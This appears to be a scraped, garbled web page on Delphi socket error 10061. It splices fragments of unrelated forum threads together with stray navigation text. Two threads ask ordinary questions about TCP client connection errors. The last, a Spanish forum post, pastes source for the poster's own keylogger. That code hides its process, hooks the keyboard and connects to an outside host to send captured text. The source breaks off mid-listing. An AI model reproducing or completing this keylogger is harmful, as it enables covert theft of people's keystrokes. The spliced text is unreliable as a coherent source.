Delphi 7 Asynchronous Socket Error 10061
Contents |
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta Discuss the socket error 10061 connection refused delphi workings and policies of this site About Us Learn more about Stack
Delphi Asynchronous Socket Error 10053
Overflow the company Business Learn more about hiring developers or posting ads with us Stack Overflow Questions Jobs
Asynchronous Socket Error 10060 Delphi
Documentation Tags Users Badges Ask Question x Dismiss Join the Stack Overflow Community Stack Overflow is a community of 4.7 million programmers, just like you, helping each other. Join
Asynchronous Socket Error 10061 Fix
them; it only takes a minute: Sign up Socket Error while making tcp ip connection in delphi up vote 2 down vote favorite I am using indy client to make tcp ip connection with a server(IP address and port). I have written following code on the click of a button. I trying to send Hello msg to server and then trying to read the message from server. procedure TForm1.Button1Click(Sender: TObject); var sMsg : string; begin try IdTCPClient1.Port := xxxx; //Set port to connect to IdTCPClient1.Host := 'xxx.xxx.x.xxxx'; //Set host to connect to IdTCPClient1.Connect; //Make connection sMsg := IdTCPClient1.Socket.ReadLn; //Read the response from the server ShowMessage(sMsg); except on E : Exception do begin ShowMessage('Connection Error: ' + E.Message); exit; end; end; end; But I am getting socket error 10061 connection refused while debugging at the line IdTCPClient1.Connect; //Make connection I tried to make tcp connection with server on given port and ip using telnet command on cmd (telnet ip port) and I got the following message "Connection established to xxx.xxx.xx.xxx, there could be no connection made ​​with the host, on port xxxx: connection errors" Please suggest me the solution for this... Thanks all. Now I am able to use the port. So no error at IdTCPClient1.Connect; //Make connection. But now nothing is happening at the next line where I am trying to read data from the server (sMsg := IdTCPClient1.Socket.ReadLn;) When I try from telnet, so
with a TServerSocket. The components are from Delphi 5 Pro ('Internet' tab). Here is my problem... I want to bullet proof the app, so that the user can tell the ClientSocket to try to connect to any old IP address and not have the app fall over stupidly. I have error handling in place so that I intercept all the usual errormessages, so that when the user types in an IP address that won't have my ServerSocket listening on the other end http://stackoverflow.com/questions/13448429/socket-error-while-making-tcp-ip-connection-in-delphi it tells the user nicely that it 'Can't find the server there.'. This is now where my problem comes in... if the user tries to enter another incorrect IP address, instead of doing the same this ('Can't find the server there') I go and get an error that reads the following... Asynchronous Socket Error 10049 If I try for http://www.delphigroups.info/2/23/183911.html a third time with an incorrect IP, it seems to actually go look for the server again, and responds with the (desired) original 'Can't find server there'. Fourth time brings up this Asynchronous Socket Error 10049 again, and so the cyclie repeats. What gives, am I not closing the socket down or something? Here is my code to try and OPEN the connection... ClientSocket.Host := IPaddressEdit.Text; ClientSocket.port := 10000; ClientSocket.Active := true; Here is my code to try and CLOSE everything down ready to try again when I encounter an error in connecting... ClientSocket.Socket.Close; ClientSocket.Close; ClientSocket.Active:=false; Not entirely sure what I am doing here, Any help very gratefully received! -Peter Laurens Other Threads 1. Asynchronous socket error 10053 2. Asynchronous socket error 10053 3. I met Asynchronous Socket Error 10053! 4. Asynchronous Socket Error 10061 5. asynchronous socket error 10054 6. Asynchronous socket error in TServerSocket 7. Asynchronous socket error 10060 8. Asynchronous Socket error 10053 9. Asynchronous socke
Ir a la Página... Herramientas Buscar en Tema Desplegado #1 25-10-2011 zbuben Registrado Registrado: Oct 2011 https://www.clubdelphi.com/foros/showthread.php?t=76360 Posts: 4 Asynchronous socket error 10061, sin sentido Hola chicos, vengo aca con un Keylogger hecho en una aplicacion de consola. que no entiendo porq me tira el error: "Asynchronous socket error 10061." Les ruego ayuda jejej . desde ya muchas gracias Código Delphi [-] program KeyLogger; uses Windows, Messages, SysUtils, ScktComp; {.$DEFINE DEBUG} {$DEFINE TICKET} const DLLName = 'wingets.dll'; socket error CM_WH_BASE = WM_USER + $1234; CM_WH_KEYBOARD = CM_WH_BASE; CM_WH_WNDMESSAGE = CM_WH_BASE + 1; BUFFER_SIZE = 100; type TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall; THookProcedure = Procedure; stdcall; TPortCheckClass = class(TObject) public procedure OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); end; procedure HideApp; var hNdl: THandle; RegisterServiceProcess: TRegisterServiceProcess; begin if Win32Platform = VER_PLATFORM_WIN32s Then begin hNdl := LoadLibrary(kernel32); asynchronous socket error try RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess'); RegisterServiceProcess(GetCurrentProcessID, 1); finally FreeLibrary(hNdl); end; end; end; function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall; begin Result := 0; case uMsg of //WM_CLOSE: WM_DESTROY: Halt; else Result := DefWindowProc(hWnd, uMsg, wParam, lParam); end; end; Procedure TPortCheckClass.OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); Begin ErrorCode := 0; end; var hInst: LongWord; WinClass: TWndClass; Handle, hCurrentWnd: HWND; Msg: TMsg; DLLHandle, hLogFile, FileMap: THandle; StartHook, EndHook: THookProcedure; Reciever: ^Integer; PText: PByteArray; TextSize, BytesWritten: DWORD; Cliente: TClientSocket; S: string; I:Integer; PortCheck: TPortCheckClass; begin Cliente := TClientSocket.create(nil); Cliente.OnError := PortCheck.OnError; with Cliente do begin Host := 'hostloco.com.ar'; ClientType := ctBlocking; Port := 200; try Open; Active := True; finally end; end; //Cliente.Socket.SendText(StrPas(PChar(PText))); Try HideApp; hInst := hInstance; hCurrentWnd := 0; { Crea una ventana sin usar un TForm } with WinClass do begin Style := CS_CLASSDC or CS_PARENTDC; lpfnWndProc := nil; lpfnWndProc := @WindowProc; hInstance := hInst; hbrBackground := COLOR_BTNFACE + 1; //or $80000000; lpszClassname := 'Logger'; hCursor := LoadCursor(0, IDC_ARROW); end; if Windows.RegisterClass(WinClass) <> 0 then begin Handle := CreateWindowEx(WS_EX_WINDOWEDGE, WinClass.lpszC